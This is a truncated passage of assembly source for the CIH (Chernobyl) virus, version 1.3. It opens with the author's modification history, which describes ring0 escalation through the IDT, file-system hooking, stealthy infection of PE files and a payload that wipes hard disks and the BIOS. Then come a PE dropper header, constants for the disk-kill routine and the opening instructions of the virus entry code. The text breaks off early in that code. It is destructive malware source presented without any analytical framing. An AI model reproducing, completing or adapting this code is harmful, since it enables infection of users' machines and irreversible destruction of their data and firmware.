cih1.3.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

; ****************************************************************************   
; *                     The Virus Program Information                        *   
; ****************************************************************************   
; *                                                                          *   
; *     Designer : CIH                  Original Place : TTIT of Taiwan      *   
; *     Create Date : 04/26/1998        Now Version : 1.3                    *   
; *     Modification Time : 05/24/1998                                       *   
; *                                                                          *   
; *==========================================================================*   
; *                     Modification History                                 *   
; *==========================================================================*   
; *     v1.0    1. Create the Virus Program.                                 *   
; *             2. The Virus Modifies IDT to Get Ring0 Privilege.            *   
; * 04/26/1998  3. Virus Code doesn't Reload into System.                    *   
; *             4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *   
; *             5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.  *   
; *             6. When System Opens Existing PE File, the File will be      *   
; *                Infected, and the File doesn't be Reinfected.             *   
; *             7. It is also Infected, even the File is Read-Only.          *   
; *             8. When the File is Infected, the Modification Date and Time *   
; *                of the File also don't be Changed.                        *   
; *             9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call  *   
; *                Previous FileSystemApiHook, it will Call the Function     *   
; *                that the IFS Manager Would Normally Call to Implement     *   
; *                this Particular I/O Request.                              *   
; *            10. The Virus Size is only 656 Bytes.                         *   
; *==========================================================================*   
; *     v1.1    1. Especially, the File that be Infected will not Increase   *   
; *                it's Size...   ^__^                                       *   
; * 05/15/1998  2. Hook and Modify Structured Exception Handing.             *   
; *                When Exception Error Occurs, Our OS System should be in   *   
; *                Windows NT. So My Cute Virus will not Continue to Run,    *   
; *                it will Jmup to Original Application to Run.              *   
; *             3. Use Better Algorithm, Reduce Virus Code Size.             *   
; *             4. The Virus "Basic" Size is only 796 Bytes.                 *   
; *==========================================================================*   
; *     v1.2    1. Kill All HardDisk, and BIOS... Super... Killer...         *   
; *             2. Modify the Bug of v1.1                                    *   
; * 05/21/1998  3. The Virus "Basic" Size is 1003 Bytes.                     *   
; *==========================================================================*   
; *     v1.3    1. Modify the Bug that WinZip Self-Extractor Occurs Error.   *   
; *                So When Open WinZip Self-Extractor ==> Don't Infect it.   *   
; * 05/24/1998  2. The Virus "Basic" Size is 1010 Bytes.                     *   
; ****************************************************************************   
                                                                                 
                .586P                                                            
                                                                                 
; ****************************************************************************   
; *             Original PE Executable File(Don't Modify this Section)       *   
; ****************************************************************************   
                                                                                 
OriginalAppEXE  SEGMENT                                                          
                                                                                 
FileHeader:                                                                      
                db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h           
                db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h           
                db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h           
                db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh           
                db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h           
                db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h           
                db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh           
                db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh           
                db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h           
                db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah           
                db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h           
                db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h           
                db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h           
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h           
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h           
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                dd      00000000h, VirusSize                                     
                                                                                 
OriginalAppEXE  ENDS                                                             
                                                                                 
; ****************************************************************************   
; *                     My Virus Game                                        *   
; ****************************************************************************   
                                                                                 
; *********************************************************                      
; *                    Constant Define                    *                      
; *********************************************************                      
                                                                                 
TRUE                    =       1                                                
FALSE                   =       0                                                
                                                                                 
DEBUG                   =       TRUE                                             
                                                                                 
MajorVirusVersion       =       1                                                
MinorVirusVersion       =       3                                                
                                                                                 
VirusVersion            =       MajorVirusVersion*10h+MinorVirusVersion          
                                                                                 
                                                                                 
IF      DEBUG                                                                    
                                                                                 
        FirstKillHardDiskNumber =       81h                                      
        HookExceptionNumber     =       05h                                      
                                                                                 
ELSE                                                                             
                                                                                 
        FirstKillHardDiskNumber =       80h                                      
        HookExceptionNumber     =       03h                                      
                                                                                 
ENDIF                                                                            
                                                                                 
                                                                                 
FileNameBufferSize      =       7fh                                              
                                                                                 
; *********************************************************                      
; *********************************************************                      
                                                                                 
VirusGame               SEGMENT                                                  
                                                                                 
                        ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame         
                        ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame         
                                                                                 
; *********************************************************                      
; *             Ring3 Virus Game Initial Program          *                      
; *********************************************************                      
                                                                                 
MyVirusStart:                                                                    
                        push    ebp                                              
                                                                                 
; *************************************                                          
; * Let's Modify Structured Exception *                                          
; * Handing, Prevent Exception Error  *                                          
; * Occurrence, Especially in NT.     *                                          
; *************************************                                          
                                                                                 
                        lea     eax, [esp-04h*2]